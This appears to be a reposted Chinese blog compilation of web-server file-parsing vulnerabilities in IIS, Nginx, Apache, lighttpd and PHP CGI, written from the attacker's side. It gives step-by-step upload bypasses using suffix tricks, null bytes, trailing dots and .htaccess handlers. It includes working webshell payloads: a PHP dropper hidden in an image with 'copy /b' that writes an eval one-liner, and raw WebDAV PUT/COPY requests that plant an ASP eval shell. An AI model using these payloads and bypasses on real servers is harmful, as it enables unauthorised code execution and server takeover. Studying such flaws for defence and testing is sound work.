文件解析漏洞匯總

01-29

解析漏洞正如其名，一般大家常說的是，文件在某種格式下，會被執行為該腳本語言的文件。

文件上傳漏洞通常與Web容器的解析漏洞配合利用
常見Web容器有IIS、Nginx、Apache、Tomcat等

好了正文開始匯總了，反正都轉載貼的，我自己也忘了在哪裡看到的了，就不註明轉貼地址了。

IIS 6.0解析漏洞

目錄解析：/xx.asp/xx.jpg xx.jpg可替換為任意文本文件(e.g. xx.txt)，文本內容為後門代碼

IIS6.0 會將 xx.jpg 解析為 asp 文件。

後綴解析：/xx.asp;.jpg /xx.asp:.jpg(此處需抓包修改文件名)

IIS6.0 都會把此類後綴文件成功解析為 asp 文件。

（站長評論：IIS6.0解析漏洞的成因，可以查閱羅哥寫的一篇短文：IIS 文件名解析漏洞扼要分析）

{/xx.asp:.jpg 此類文件在Windows下不允許存在，:.jpg被自動除去，剩下/xx.asp}

（站長評論：發現錯誤，並不是不允許存在，這種路徑叫做「NTFS數據流」，具體見：IIS6使用冒號上傳漏洞，發現IIS6漏洞(上傳利用) 底下的評論）

默認解析：/xx.asa /xx.cer /xx.cdx

IIS6.0 默認的可執行文件除了 asp 還包含這三種

（站長評論：這種主要是由於在 IIS 默認配置中，這幾個後綴默認由 asp.dll 來解析，所以執行許可權和 .asp 一摸一樣，你可在配置中自行刪除該後綴，以防止安全隱患）

此處可聯繫利用目錄解析漏洞 /xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg

IIS 7.0/IIS 7.5/Nginx <=0.8.37 解析漏洞

IIS 7.0/IIS 7.5/Nginx <=0.8.37

在默認Fast-CGI開啟狀況下,在一個文件路徑(/xx.jpg)後面加上/xx.PHP會將 /xx.jpg/xx.php 解析為 php 文件。

常用利用方法：將一張圖和一個寫入後門代碼的文本文件合併將惡意文本寫入圖片的二進位代碼之後，避免破壞圖片文件頭和尾

e.g. copy xx.jpg/b + yy.txt/a xy.jpg

######################################

/b 即二進位[binary]模式

/a 即ascii模式 xx.jpg正常圖片文件

yy.txt 內容 <?PHP fputs(fopen(shell.php,w),<?php eval($_POST[cmd])?>);?>

意思為寫入一個內容為 <?php eval($_POST[cmd])?> 名稱為shell.php的文件

######################################

找個地方上傳 xy.jpg ,然後找到 xy.jpg 的地址，在地址後加上 /xx.php 即可執行惡意文本。

然後就在圖片目錄下生成一句話木馬 shell.php 密碼 cmd

Nginx <=0.8.37 解析漏洞

在Fast-CGI關閉的情況下，Nginx <=0.8.37 依然存在解析漏洞

在一個文件路徑(/xx.jpg)後面加上%00.php會將 /xx.jpg%00.php 解析為 php 文件。

（站長評論：從 /test.jpg/x.php 演變過來的，具體可以參考：Ngnix 空位元組可遠程執行代碼漏洞）

Apache 解析漏洞

後綴解析：test.php.x1.x2.x3

Apache將從右至左開始判斷後綴，若x3非可識別後綴，再判斷x2，直到找到可識別後綴為止，然後將該可識別後綴進解析

test.php.x1.x2.x3 則會被解析為php

經驗之談：php|php3|phtml 多可被Apache解析

（站長評論：關於 apache 解析漏洞可以查閱「Apache 漏洞之後綴名解析漏洞」）

--------------------------------------------------------------------------------------------------------------

Apache 是從右到左開始判斷解析,如果為不可識別解析,就再往左判斷.

比如 cracer.php.owf.rar 「.owf」和」.rar」這兩種後綴是apache不可識別解析,apache就會把cracer.php.owf.rar解析成php.

如何判斷是不是合法的後綴就是這個漏洞的利用關鍵,測試時可以嘗試上傳一個cracer.php.rara.jpg.png…（把你知道的常見後綴都寫上…）去測試是否是合法後綴。

其他一些可利用的解析漏洞

在windows環境下，xx.jpg[空格] 或xx.jpg. 這兩類文件都是不允許存在的，若這樣命名，windows會默認除去空格或點，這也是可以被利用的！

在向一台windows主機上傳數據時，你可以抓包修改文件名，在後面加個空格或點，試圖繞過黑名單，若上傳成功，最後的點或空格都會被消除，這樣就可得到shell。

我記得Fck Php 2.6就存在加空格繞過的漏洞。{Linux主機中不行，Linux允許這類文件存在}

如果在Apache中.htaccess可被應用（Apache的配置文件httpd.conf中對目錄的AllowOverride設置為All時，apache會應用目錄下.htaccess中的配置 By sfasfas），

且可以被上傳，那可以嘗試在.htaccess中寫入:

<FilesMatch 「shell.jpg」> SetHandler application/x-httpd-php </FilesMatch>

shell.jpg換成你上傳的文件，這樣shell.jpg就可解析為php文件

lighttpd 解析漏洞

xx.jpg/xx.php

WebDav漏洞

WebDav是一種基於HTTP1.1協議的通信協議，它擴展了HTTP協議。在開啟WebDav後若

支持PUT、Move、Copy、Delete等方法，就會存在安全隱患。

測試步驟如下：

1）通過OPTIONS探測伺服器所支持的HTTP方法

請求：

OPTIONS / HTTP/1.1

Host: http://www.xxxx.com

2)通過PUT方法向伺服器上傳shell

請求：

PUT /a.txt HTTP/1.1

Host: http://www.xxxx.com

Content-Length: 30

<%eval request("chopper") %>

3)通過Move或Copy方法改名

請求：

COPY /a.txt HTTP/1.1

Host: http://www.xxxx.com

Destination: http://www.xxxx.com/cmd.asp

4)用DELETE方法刪除文件

請求：

DELETE /a.txt HTTP/1.1

Host: http://www.xxxx.com

註：可用桂林老兵的IIS Write快速探測伺服器是否存在WebDav漏洞

PHP CGI解析漏洞

當php的配置文件中的選項cgi.fix_pathinfo = 1開啟時，當訪問http://www.xxx.com/x.txt/x.php

時，若x.php不存在，則PHP會遞歸向前解析，將x.txt當作php腳本來解析

IIS中：任意文件名/任意文件名.php就會被解析為php

Nginx中：任意文件名/任意文件名.php就會被解析為php

總結：

這個我會持續增加的，等啥時再出來解析漏洞了，我就再添加上。以上都是網上 copy 過來的。。。。